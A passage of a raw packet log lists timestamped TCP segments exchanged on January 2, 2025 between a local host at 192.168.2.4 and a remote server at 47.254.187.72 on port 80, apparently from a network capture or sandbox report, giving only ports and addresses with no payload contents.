Jan 2, 2025 20:34:58.912142038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912152052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912154913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912163019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912174940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912184000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912185907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912195921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912199020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912220001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912220001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912231922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912241936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912245035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912252903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912262917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912269115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912281036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912281036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912290096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912300110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912307024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912311077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912321091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912324905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912338018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912350893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912353992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912362099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912373066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912380934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912384033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912394047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912399054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912404060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912414074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912424088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912429094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912435055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912445068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912456036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912460089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912467003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912476063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912477016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912487030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912493944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912497997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912508965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912519932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912528992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912529945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912544012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912550926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912569046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912584066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912591934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912594080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912604094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912616014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912626028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912626982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912638903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912646055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912664890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912684917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912729025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912740946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912750006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912760973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912766933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912769079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912779093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912785053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912791014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912801027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912811995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912817001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912822008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912832975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912833929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912842989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912851095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912863970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912868023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912873983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912894011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912894011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912905931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912913084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912916899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912928104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912939072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912940979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912951946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912961960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912962914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912972927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912982941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912985086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912992954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913003922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913013935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913014889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913023949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913033009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913034916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913043976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913053989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913054943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913064003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913073063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913072109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913083076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913093090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913101912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913110018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913113117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913122892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913131952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913136005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913141966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913152933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913161993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913168907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913173914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913182020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913184881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913196087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913198948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913207054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913223982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913228035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913234949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913244963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913254023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913255930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913273096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913280964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913284063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913297892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913306952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913309097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913319111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913326979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913331032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913341045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913351059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913352966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913362980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913373947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913381100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913392067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913398027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913404942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913410902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913414001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913424969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913435936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913439989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913450003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913458109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913460970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913471937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913482904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913486004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913491964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913499117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913502932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913512945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913530111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913530111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913542986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913552999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913553953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913563967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913570881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913574934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913585901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913597107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913598061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913606882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913618088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913624048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913628101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913640022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913644075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913650036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913661003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913664103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913671017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913683891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913690090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913701057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913705111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913712025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913722992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913722992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913734913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913746119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913748026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913755894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913765907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913777113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913779974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913788080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913799047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913817883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913831949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913846016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913855076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913866043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913868904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913877010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913887024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913897038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913907051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913918018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913923025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913928986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913938046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913940907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913954020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913964033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913966894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913975000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913985968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.913992882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.913995981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914007902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914011955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914019108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914035082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914036036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914048910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914053917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914061069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914067030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914072037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914083004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914094925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914099932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914107084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914117098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914128065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914129019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914144993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914149046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914156914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914167881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914170980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914180040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914187908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914191008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914203882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914213896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914216042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.914243937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.914258957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917413950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917478085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917529106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917541981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917560101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917572021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917584896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917592049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917603016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917612076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917613983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917624950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917637110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917646885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917654991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917658091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917670012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917680025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.917686939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917707920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.917726994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918586016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918628931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918804884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918831110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918842077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918852091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918853045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918864965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918875933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918876886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918886900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918888092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918905973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918915987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918927908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918936968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918937922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918948889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918956041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918960094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918971062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918971062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.918982029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918992996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.918996096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919003963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919004917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919015884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919028044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919038057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919042110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919049025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919055939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919066906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919070005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919079065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919085026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.919089079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919105053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.919146061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.920005083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920046091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.920087099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920099020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920110941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920120001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920123100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.920131922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920144081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920154095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.920166016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.920197010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.924222946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.930278063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930301905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930311918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930322886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930327892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.930335999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930346966 CET	80	49730	47.254.187.72	192.168.2.4
